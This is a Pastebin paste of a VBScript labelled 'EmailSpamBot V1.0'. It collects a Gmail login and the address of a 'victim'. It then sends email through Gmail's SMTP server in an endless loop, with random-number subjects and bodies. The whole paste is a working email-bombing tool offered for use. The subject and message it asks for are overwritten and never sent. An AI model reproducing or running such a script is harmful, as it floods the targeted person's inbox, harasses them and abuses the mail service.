Advertisement
Guest User

Untitled

a guest
Feb 17th, 2016
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.45 KB | None | 0 0
  1. Dim User
  2. Dim Pass
  3. Dim Name
  4. Dim Input
  5. Dim Input2
  6. Dim Input3
  7. X=MsgBox("Welcome. To log in Please Click OK and enter your G-mail & pass.",0,"EmailSpamBot V1.0")
  8. User = InputBox("Enter your G-mail:")
  9. Pass = InputBox("Enter Password:"& vbCrLf & ""& vbCrLf & "Please note passwords are NOT stored in this script and are case sensitive.")
  10. Name = InputBox("Enter Name:")
  11. Input = InputBox("Enter e-mail of victim:")
  12. Input2 = InputBox("Enter title:")
  13. Input3 = InputBox("Enter message:")
  14. EmailSubject = (""& Input2)
  15. EmailBody = (""& Input3)
  16. Dim max,min
  17. max = 1000
  18. min = 1
  19.  
  20. 'Const EmailFrom = ""
  21. 'Const EmailFromName = ""
  22.  
  23. Const SMTPServer = "smtp.gmail.com"
  24. 'Const SMTPLogon = ""
  25. 'Const SMTPPassword = ""
  26. Const SMTPSSL = True
  27. Const SMTPPort = 465
  28.  
  29. Const cdoSendUsingPickup = 1 'Send message using local SMTP service pickup directory.
  30. Const cdoSendUsingPort = 2 'Send the message using SMTP over TCP/IP networking.
  31.  
  32. Const cdoAnonymous = 0 ' No authentication
  33. Const cdoBasic = 1 ' BASIC clear text authentication
  34. Const cdoNTLM = 2 ' NTLM, Microsoft proprietary authentication
  35.  
  36. ' First, create the message
  37.  
  38. Set objMessage = CreateObject("CDO.Message")
  39. objMessage.Subject = EmailSubject
  40. objMessage.From = "<" & User & Name & ">"
  41. objMessage.To = "<" & Input & ">"
  42. objMessage.TextBody = (int((max-min+1)*Rnd+min))
  43.  
  44. ' Second, configure the server
  45.  
  46. objMessage.Configuration.Fields.Item _
  47. ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
  48.  
  49. objMessage.Configuration.Fields.Item _
  50. ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = SMTPServer
  51.  
  52. objMessage.Configuration.Fields.Item _
  53. ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic
  54.  
  55. objMessage.Configuration.Fields.Item _
  56. ("http://schemas.microsoft.com/cdo/configuration/sendusername") = User
  57.  
  58. objMessage.Configuration.Fields.Item _
  59. ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Pass
  60.  
  61. objMessage.Configuration.Fields.Item _
  62. ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = SMTPPort
  63.  
  64. objMessage.Configuration.Fields.Item _
  65. ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = SMTPSSL
  66.  
  67. objMessage.Configuration.Fields.Item _
  68. ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
  69.  
  70. objMessage.Configuration.Fields.Update
  71.  
  72. do
  73. Randomize
  74. objMessage.TextBody = (int((max-min+1)*Rnd+min))
  75. objMessage.Subject = (int((max-min+1)*Rnd+min))
  76. objMessage.Send
  77. loop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement